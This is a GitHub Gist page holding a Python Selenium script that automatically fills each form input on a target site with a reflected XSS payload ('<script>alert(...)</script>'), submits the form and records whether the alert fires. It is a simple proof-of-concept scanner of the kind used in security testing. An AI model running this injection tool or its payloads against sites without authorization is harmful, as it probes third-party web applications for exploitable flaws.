Last active
April 30, 2019 02:03
-
-
Save cardin/a221273af8fb22aec76bc469d33f69e0 to your computer and use it in GitHub Desktop.
Injects HTML elements (specified by xpath, filtered by lambdas) using a Javascript alert(), with auto-success detection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ''' | |
| Injects HTML elements (specified by xpath, filtered by lambdas) | |
| using a Javascript alert(), with auto-success detection | |
| Requires: | |
| pip install selenium | |
| geckodriver | |
| ''' | |
| import itertools | |
| import json | |
| # import os | |
| from os import path | |
| from pprint import pprint | |
| # import urllib | |
| # import urllib2 | |
| # import ssl | |
| import sys | |
| # import time | |
| # from bs4 import BeautifulSoup as bs | |
| from selenium import webdriver | |
| from selenium.common.exceptions import NoSuchElementException, TimeoutException | |
| from selenium.webdriver.support.ui import WebDriverWait | |
| from selenium.webdriver.support import expected_conditions as EC | |
| # from selenium.webdriver.common.by import By | |
| # Web Drivers # | |
| GECKO = path.join('..', 'geckodriver.exe') | |
| PHANTOM_JS = path.join('..', 'phantomjs-2.1.1-windows', 'bin', 'phantomjs.exe') | |
| PHANTOM_JS_SSL = ['--ignore-ssl-errors=true', '--ssl-protocol=any'] | |
| # Injection Parameters # | |
| ## url to hit | |
| URL = 'https://app1.com' | |
| ## html element to hit ({} = integer step iterator) | |
| XPATH_TARGET = '(//form//input)[{}]' | |
| ## filter ruleset | |
| FILTERS = [ | |
| lambda x: x.get_attribute('type') not in ('file', 'image'), | |
| ] | |
| ## payloads to insert | |
| PAYLOADS = [ | |
| '"<script>alert(\'Reflected XSS!\')</script>"', | |
| ] | |
| ## injection ({} = the payload) | |
| INJECT_SCRIPT = 'arguments[0].value={}' | |
| def filter_check(target): | |
| ''' True if target passes all filters ''' | |
| for filt in FILTERS: | |
| if not filt(target): | |
| return False | |
| return True | |
| def has_alert(driver, delay=3): | |
| ''' True if alert is detected ''' | |
| try: | |
| WebDriverWait(driver, delay).until(EC.alert_is_present()) | |
| return True | |
| except TimeoutException: | |
| return False | |
| def main(url): | |
| ''' Main Function ''' | |
| results = [] | |
| gecko = webdriver.Firefox(executable_path=GECKO) | |
| try: | |
| # monotonically increasing until exception | |
| for i in itertools.count(start=1): | |
| result_dict = {} | |
| # close prev instance | |
| if i > 1: | |
| gecko.close() | |
| gecko.get(url) | |
| # find n-th target element | |
| xpath = XPATH_TARGET.format(i) | |
| target = gecko.find_element_by_xpath(xpath) | |
| # filter targets that don't match | |
| if not filter_check(target): | |
| continue | |
| result_dict['html'] = target.get_attribute('outerHTML') | |
| # inject payload | |
| for payload in PAYLOADS: | |
| new_value = INJECT_SCRIPT.format(payload) | |
| gecko.execute_script(new_value, target) | |
| target.submit() | |
| # check for success | |
| if not has_alert(gecko): | |
| result_dict['outcome'] = 'Possibly Nothing' | |
| else: | |
| alert = gecko.switch_to_alert() | |
| result_dict['payload'] = payload | |
| result_dict['outcome'] = alert.text | |
| alert.accept() | |
| break | |
| pprint(result_dict) | |
| print '' | |
| results.append(result_dict) | |
| except NoSuchElementException: | |
| pass | |
| finally: | |
| gecko.quit() | |
| with open('html_injection.json', 'w') as fsys: | |
| json.dump(results, fsys, indent=1, sort_keys=True) | |
| if __name__ == "__main__": | |
| URL = sys.argv[1] if len(sys.argv) > 1 else URL | |
| main(URL) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment